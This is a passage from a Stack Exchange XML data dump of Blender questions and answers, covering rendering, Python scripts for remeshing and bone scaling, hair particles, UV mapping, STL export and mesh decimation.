LastActivityDate="2015-04-20T20:40:27.433" Title="Rendering with Emission shaders seems effective in Preview renders, but not in final ones" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="12" ClosedDate="2015-04-20T22:30:45.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="28711" PostTypeId="2" ParentId="24007" CreationDate="2015-04-20T20:08:49.200" Score="1" Body="&lt;p&gt;This is because the geometry is still there, even though it's not visible to the camera. Rays bouncing through the scene will still interact with such geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead try something like in &lt;a href=&quot;https://blender.stackexchange.com/a/8602/599&quot;&gt;my answer here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-04-20T20:08:49.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28713" PostTypeId="1" CreationDate="2015-04-20T20:41:18.620" Score="1" ViewCount="167" Body="&lt;p&gt;This Script I wrote for remeshing purposes does not work properly.&#xA;Sometimes it works.&#xA;Sometimes it produces many (as many as frames) duplicates of the active Object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;frame_end = bpy.context.scene.frame_end&#xA;sel_Objects = bpy.context.selected_objects&#xA;&#xA;cuts = []&#xA;&#xA;if(len(sel_Objects) == 2):&#xA;&#xA;    for i in range(frame_end):&#xA;&#xA;        bpy.context.scene.frame_set(i)&#xA;&#xA;        bpy.ops.object.select_all(action='DESELECT')&#xA;        sel_Objects[0].select = True&#xA;        sel_Objects[1].select = True&#xA;        bpy.context.scene.objects.active = sel_Objects[0]&#xA;&#xA;        bpy.ops.object.duplicate()&#xA;        bpy.ops.object.join()&#xA;&#xA;        to_delete = bpy.context.scene.objects.active&#xA;&#xA;        bpy.ops.object.editmode_toggle()&#xA;        bpy.ops.mesh.intersect(mode='SELECT', use_separate=True)&#xA;        bpy.ops.mesh.separate()&#xA;        bpy.ops.object.editmode_toggle()&#xA;&#xA;        bpy.context.scene.objects.unlink(to_delete)&#xA;        bpy.data.objects.remove(to_delete)&#xA;&#xA;        cuts.extend(bpy.context.selected_objects)&#xA;&#xA;&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;    for cut in cuts:&#xA;        cut.select = True&#xA;&#xA;    bpy.context.scene.objects.active = cuts[0]&#xA;    bpy.ops.object.join()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script should performe the following actions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Before you have two animated Objects intersecting each other while the animation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WtraC.png&quot; alt=&quot;Before&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After running the script you should still have the two animated Objects but also the intersections of the two objects merged into one mesh.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But this is how it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MJ3A2.png&quot; alt=&quot;After&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem @this point is that the script doesn't clear several duplicates of , in this case the torus.&lt;/p&gt;&#xA;" OwnerUserId="13789" LastEditorUserId="13789" LastEditDate="2015-04-21T12:52:17.743" LastActivityDate="2015-04-21T12:52:17.743" Title="Blender Script for animated remeshing just works &quot;sometimes&quot;" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28714" PostTypeId="2" ParentId="28442" CreationDate="2015-04-20T20:43:03.673" Score="4" Body="&lt;p&gt;What do you think about setting a static variable, like a Property, in Blender at the end of the Script that prevents it from running again ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more Details see:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/461/how-to-set-a-property-value-in-blender-game-engine&quot;&gt;How to Set a Property Value in Blender Game Engine?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13789" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-04-20T20:43:03.673" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28716" PostTypeId="2" ParentId="24007" CreationDate="2015-04-20T22:02:36.137" Score="1" Body="&lt;p&gt;you can do the clipping in the material nodes and make the clipped points transparent :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nMKRD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you set the value of the math node to the clipping_start  of the camera then what is clipped by the camera will also be transparent ( the diffuse material is a place holder replace it with your material ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you use the clipping in the materials only, you can clip only the desired object that has this material :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NZAog.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-20T22:02:36.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28717" PostTypeId="1" CreationDate="2015-04-20T22:03:50.760" Score="1" ViewCount="568" Body="&lt;p&gt;I have been following &lt;a href=&quot;http://www.yurialexander.com/tutorials/realistic-skin-detail-and-color/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; in zbrush and I am going to bring the model and textures into blender but I was wondering how can I apply a subdermal map like they made in cycles and what is the purpose of it? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7832" LastActivityDate="2015-04-20T22:03:50.760" Title="How should I apply a sub-dermal skin map in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;shaders&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28718" PostTypeId="1" AcceptedAnswerId="28721" CreationDate="2015-04-20T22:19:04.323" Score="5" ViewCount="4026" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/isFJU.jpg&quot; alt=&quot;Hair Stands will not curve&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;How do I get the hair strands in blender to curve? I tried the forcefield but that didn't work either...&lt;/p&gt;&#xA;" OwnerUserId="13828" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-01-09T09:48:18.903" Title="How do I get hair strands to curve in blender?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28719" PostTypeId="1" AcceptedAnswerId="28720" CreationDate="2015-04-20T22:25:10.850" Score="2" ViewCount="1496" Body="&lt;p&gt;I am fairly new to blender and am wondering how does one scale the objects in blender via python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am simply changing the scale of the object via bpy.data.objects[NAME].scale&#xA;however, this is not what I want to do as it only visually shrink the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to change the length of each bone individually, however, even though the length of the bone changed, the head and tail of the bone did not change. Also something worth mentioning, I am working with a hand. This ended up giving me a hand with tiny bones but not connected due to the bone's head remaining the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the bones in the armature object to actually shrink/grow as well, since I am exporting this object later as BVH and would like to preserve the scaling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13886" LastEditorUserId="13886" LastEditDate="2015-04-20T22:41:39.227" LastActivityDate="2015-04-21T00:15:09.227" Title="Scaling objects with data modification" Tags="&lt;python&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28720" PostTypeId="2" ParentId="28719" CreationDate="2015-04-20T22:42:23.797" Score="2" Body="&lt;p&gt;this is simple script for scaling all bones in the active armature :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;ob = bpy.context.object&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;&#xA;for bone in ob.pose.bones:    &#xA;     if not bone.parent : # since children inherit scale no need to scale them &#xA;        bone.scale *=0.5&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to remove scale inheritence  :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for bone in ob.data.bones:&#xA;        if bone.parent :&#xA;            bone.use_inherit_scale = False&#xA;&#xA;#scale all bones&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;for bone in ob.pose.bones:    &#xA;        bone.scale *=0.5&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;scaling in edit mode :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;mat = mathutils.Matrix.Scale(0.5, 3)&#xA;&#xA;for bone in ob.data.edit_bones:&#xA;        bone.transform(mat,  scale = True, roll = False)&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-21T00:15:09.227" LastActivityDate="2015-04-21T00:15:09.227" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="28721" PostTypeId="2" ParentId="28718" CreationDate="2015-04-20T23:40:32.573" Score="4" Body="&lt;p&gt;You could try increasing the number of segments. In my image that setting is greyed out, because I've done some particle edit after setting it. It needs to be set before editing the hair. 50 segments, like I have here, is overkill, I just set it to something high.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6dODo.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lowering the Degrees setting under Render in the Particle settings may also help. To access that setting you'll need to activate Strand render.&lt;br&gt;&#xA;You could also fiddle with the B-spline setting, but increasing the number of steps will slow things down.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BauZ8.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some settings I've just played with. The ones under Hair dynamics affect how fast and how far the hairs will fall.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/euB0q.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I put together using those settings&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qZXnk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-04-21T00:35:04.153" LastActivityDate="2015-04-21T00:35:04.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28722" PostTypeId="1" CreationDate="2015-04-20T23:45:36.970" Score="1" ViewCount="267" Body="&lt;p&gt;I want to use rigid body constraint to rotate the camera around a cube accordingly to the angular velocity of the cube(all of that in the BGE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)Is it necessary for both objects to be rigid? For one? For none?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)From this &lt;a href=&quot;https://blender.stackexchange.com/questions/10438/problem-with-rigid-body-joint&quot;&gt;question&lt;/a&gt; I understood that what I want is a slider constraint but I want the camera to be affected by the rotation of the cube and the cube to be unaffected by anything the camera does.If it is possible how do I fill the empty boxes in the constraint and does it matter which object will &quot;own&quot; the constraint?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)Any good video tutorial for that purpose(the pivot) will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-04-20T23:45:36.970" Title="How to rotate object around another with rigid body constraint in BGE?" Tags="&lt;game-engine&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28723" PostTypeId="1" CreationDate="2015-04-21T00:39:43.643" Score="-1" ViewCount="122" Body="&lt;p&gt;The 3D model I am using (Charizard) is slightly broken; notice on the left wing a portion of it is orange when it is supposed to be blue. Backface culling will not work, as it does not take effect in the actual animation. Doubles have been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to fix it? Greatly appreciated.&lt;img src=&quot;https://i.stack.imgur.com/R5iDd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/file/d/0B3KjFxxykagrUlQ2b21jSUtEckk/edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;model file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13871" LastEditorUserId="5113" LastEditDate="2015-04-21T10:41:49.093" LastActivityDate="2015-04-21T13:59:34.280" Title="A part of a model is corrupt" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2015-04-21T20:21:16.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="28725" PostTypeId="1" CreationDate="2015-04-21T05:03:54.727" Score="2" ViewCount="478" Body="&lt;p&gt;I've been trying to texture a planet with a spherical image that I have. I did a UV unwrap of the sphere and created a new material, then created a new image texture and selected a UV map using map I just created. However, the backside of the planet still seems to be lit when I run the game with the textures turned on, even though without textures, the shading seems to work. These two images are from the same view. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jLzdg.png&quot; alt=&quot;Shading without texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9BDp4.jpg&quot; alt=&quot;Shading with texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13888" LastActivityDate="2015-04-21T05:03:54.727" Title="Shadows/lighting not working with image texture" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28726" PostTypeId="1" CreationDate="2015-04-21T05:07:24.657" Score="1" ViewCount="1459" Body="&lt;p&gt;I am trying to rig long year of dog.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It needs to bend along chain of bones&lt;/li&gt;&#xA;&lt;li&gt;And its base bone should be able to rotate the whole ear without twist.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand why there is deformation but i need to understand why there is twist in whole ear when only base bone is rotated&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vn28s.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xC75R.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check this &lt;a href=&quot;https://drive.google.com/file/d/0B0jpq2cgNh8zRlBnbVJNaHJERHM/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;EAR Rig File&lt;/a&gt; and help me with twist.&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2015-04-21T06:51:21.493" LastActivityDate="2020-10-20T14:01:41.183" Title="Why the mesh is twisting when base bone is rotated?" Tags="&lt;rigging&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28727" PostTypeId="2" ParentId="28726" CreationDate="2015-04-21T05:53:44.843" Score="1" Body="&lt;p&gt;That deformation occurs because you didn't add weights in &lt;a href=&quot;https://docs.blender.org/manual/en/latest/sculpt_paint/weight_paint/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;weight paint&lt;/a&gt; mode.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the armature and change to &lt;em&gt;pose mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In pose mode with the armature selected click the mesh&lt;/li&gt;&#xA;&lt;li&gt;Change to &lt;em&gt;weight paint mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select bone by bone and add vertex weight&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FmKo6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/28676/vertex-weight-issues&quot;&gt;Vertex Weight Issues&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-10-20T14:01:41.183" LastActivityDate="2020-10-20T14:01:41.183" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28728" PostTypeId="1" AcceptedAnswerId="28732" CreationDate="2015-04-21T06:34:56.343" Score="1" ViewCount="5983" Body="&lt;p&gt;I added a lot of loopcuts to a &quot;plane&quot;. Then I unwrapped the plane and added an image. But then I realized that the unwrap format does not match the shape of my picture. I tried to scale it by clicking &lt;kbd&gt;S&lt;/kbd&gt;, but it scales the whole grid. I even tried scaling only to the y axis (&lt;kbd&gt;S&lt;/kbd&gt;), but then it scales the bottom part of it as well. I only want the scale the top bit to match the picture not the bottom bit. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TMXw5.png&quot; alt=&quot;UV view is on the right side and the original view is on the left side&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13890" LastEditorDisplayName="user1853" LastEditDate="2015-04-21T13:50:40.480" LastActivityDate="2015-04-21T13:50:40.480" Title="Scaling UV map in Y Axis to fit image" Tags="&lt;uv&gt;&lt;image&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28729" PostTypeId="2" ParentId="28708" CreationDate="2015-04-21T06:42:26.567" Score="2" Body="&lt;p&gt;File output node only saves separate image files per frame. To make a a movie file you would need to add the frame seq to a VSE timeline and recompress. There is no built in way for Blender to achieve multiple movie exports from one scene. You could set up many VSE scenes with a image seq strip in each then perform a command line render of them.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-21T06:42:26.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28730" PostTypeId="2" ParentId="28417" CreationDate="2015-04-21T06:46:19.980" Score="1" Body="&lt;p&gt;Why not drive the scale of the objects as an inverse function to the distance of the camera? That way the camera doesn't have to move as far while the objects take up less room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add drivers to the objects that you want scaled. They should take the local location of the camera and divide it into 1. Resulting in a smaller value for the scene.&#xA;In fact if there are many objects then i would parent them to an empty and simply drive it's scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the drivers with the function attached:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCufD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to copy this driver to each channel for uniform scaling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;finally remember that any materials that exist in world space will not scale with the UVs of the objects.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2015-04-24T05:40:42.210" LastActivityDate="2015-04-24T05:40:42.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28731" PostTypeId="1" CreationDate="2015-04-21T07:57:45.333" Score="1" ViewCount="1226" Body="&lt;p&gt;I have imported my character from makeHuman and wanted to animate it from the Standing position to the Sitting Position (Lap) Can anyone give me a detailed description? :( I've been trying but the problem is that when the animation plays, the feet moves up when I wanted it to take the feet as pivot and make the body kneel down to sitting. Please help :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KKnzQ.png&quot; alt=&quot;Standing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KOem4.png&quot; alt=&quot;Sitting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the feet does not remain on floor.. Please help! :( I would be more than grateful.. :)&lt;/p&gt;&#xA;" OwnerUserId="13891" LastActivityDate="2015-04-21T07:57:45.333" Title="How do I make my character sit?" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28732" PostTypeId="2" ParentId="28728" CreationDate="2015-04-21T08:40:17.090" Score="4" Body="&lt;p&gt;to scale along the Y axis without moving the lower part :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select all points&lt;/li&gt;&#xA;&lt;li&gt;position the cursor at (0, 0)&lt;/li&gt;&#xA;&lt;li&gt;scale along Y axis  ( &lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;Y&lt;/kbd&gt; )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IBY7R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-21T08:40:17.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28733" PostTypeId="1" AcceptedAnswerId="28734" CreationDate="2015-04-21T08:41:25.693" Score="7" ViewCount="1582" Body="&lt;p&gt;I am using Blender to make models for 3D printing.  I always export my .blend files to .stl files and import into MakerBot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I'm making a model with two cubes that I want to glue together with a boolean &quot;union&quot; operation.  A very common pattern I've found is that I want to save my blender file with the two cubes separate, but every time I want to make an .stl file, I need to first apply the boolean operation, export as .stl, then close blender without saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to export the .stl file as if I've applied the boolean operation, but keep the .blend file with the operation undone?  thanks.&lt;/p&gt;&#xA;" OwnerUserId="5736" LastEditorUserId="5736" LastEditDate="2015-04-24T22:06:44.073" LastActivityDate="2015-11-27T09:58:40.030" Title="Export stl without applying boolean operation" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28734" PostTypeId="2" ParentId="28733" CreationDate="2015-04-21T08:50:12.323" Score="9" Body="&lt;p&gt;Keep the modifiers in the file without applying and choose Apply modifiers in the exporter options , this way the exported objects will have the modifier applied but the original will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DCr2q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-21T08:50:12.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28736" PostTypeId="1" AcceptedAnswerId="28741" CreationDate="2015-04-21T09:13:20.493" Score="5" ViewCount="7628" Body="&lt;p&gt;I'm working on a mirror made out of twisted pieces of metal for a game. However the current number of polygons is far to high does anybody know of a good way to reduce the number of polygons without creating very ugly artifacts within this mirror? &lt;img src=&quot;https://i.stack.imgur.com/2YCPB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blender file can be found &lt;a href=&quot;http://www.filedropper.com/newmirroropt&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3273" LastEditorUserId="5426" LastEditDate="2015-04-21T22:58:37.347" LastActivityDate="2015-04-21T22:58:37.347" Title="advice on how to reduce the polygon count for this twisted structure (made using simple transform)" Tags="&lt;mesh&gt;&lt;transforms&gt;&lt;editing&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28737" PostTypeId="5" CreationDate="2015-04-21T09:27:20.740" Score="0" Body="" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-21T09:27:20.740" LastActivityDate="2015-04-21T09:27:20.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28738" PostTypeId="4" CreationDate="2015-04-21T09:27:20.740" Score="0" Body="Question dealing with low poly models  (e.g. games models ) " OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-21T09:27:20.740" LastActivityDate="2015-04-21T09:27:20.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28739" PostTypeId="1" CreationDate="2015-04-21T09:27:48.900" Score="5" ViewCount="3098" Body="&lt;p&gt;I want to make the falling autumn leaves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a system of particles and the surface on which they must fall, but the problem is that even at the maximum value of &quot;Particle Friction&quot; parameter of the surface (collision modifier), the leaves (particles) continue to slide along the surface, and much too quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make them completely stop? And can I adjust the speed of sliding between a full stop and a very slow slide?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="6204" LastEditDate="2015-04-21T11:56:02.123" LastActivityDate="2015-04-27T14:17:36.393" Title="How can I make particles remain stationary on a surface?" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28740" PostTypeId="1" AcceptedAnswerId="28764" CreationDate="2015-04-21T09:35:08.190" Score="16" ViewCount="13455" Body="&lt;p&gt;How can I render all render passes for all of the frames of an animation in Cycles to different files or a file with multiple layers? I'm going to do the final compositing in another compositing package and I need to have access to the passes.&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="3078" LastEditDate="2015-06-07T22:08:48.127" LastActivityDate="2016-08-26T06:46:16.347" Title="How can I render all render passes to files in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28741" PostTypeId="2" ParentId="28736" CreationDate="2015-04-21T09:52:52.423" Score="7" Body="&lt;p&gt;One way would be to use the decimate modifier to lower the poly count od your model and maybe add a smooth shading to hide some glitches :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnXlt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the reduction result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0XstC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the model ( with smooth shading ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jwIM0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-21T09:52:52.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28742" PostTypeId="1" CreationDate="2015-04-21T10:00:48.077" Score="3" ViewCount="248" Body="&lt;p&gt;I've ran into an interesting little problem with one of my models. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following an online tutorial where a model was created completely by extrusions and mirroring from a cube, I made my own in a similar fashion. All is going well up to this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then applied hair to the model in places. Using a density and length from a weight paint, I got to the position below. All seems good and there are no issues&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbG6D.png&quot; alt=&quot;Before applying Hair Dynamics&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I wanted to apply gravity to the hair using &quot;Hair dynamics&quot;, something I've used before but not had this result. When applying the standard dynamics to this particular mesh, the hair roots seem to become detached from the mesh and continued to behave in a rather unexpected manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQ5wT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to this, in an animation, the hair particles behave in a seemingly sporadic and unpredictable fashion; crossing through the model on occasions and sometimes flying off the screen entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not had this happen to any other model prior or since; nor have I had any success in trying to recreate the issue. The standard cube works fine, subdividing and grabbing nodes, nor does the extrusion of the cube cause the problem. I have a copy of the un-mirrored object on the scene, but that behaves in the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My forensic search for answers on Google turned nothing up and I'm now at a loss. I'm eager to know what could be causing this, if anyone else has experienced it, and moreover if it can be resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13894" LastActivityDate="2015-04-21T12:50:44.640" Title="Blender 2.74 (x64 Linux): Application of Hair Dynamics produces unexpected results" Tags="&lt;mesh&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
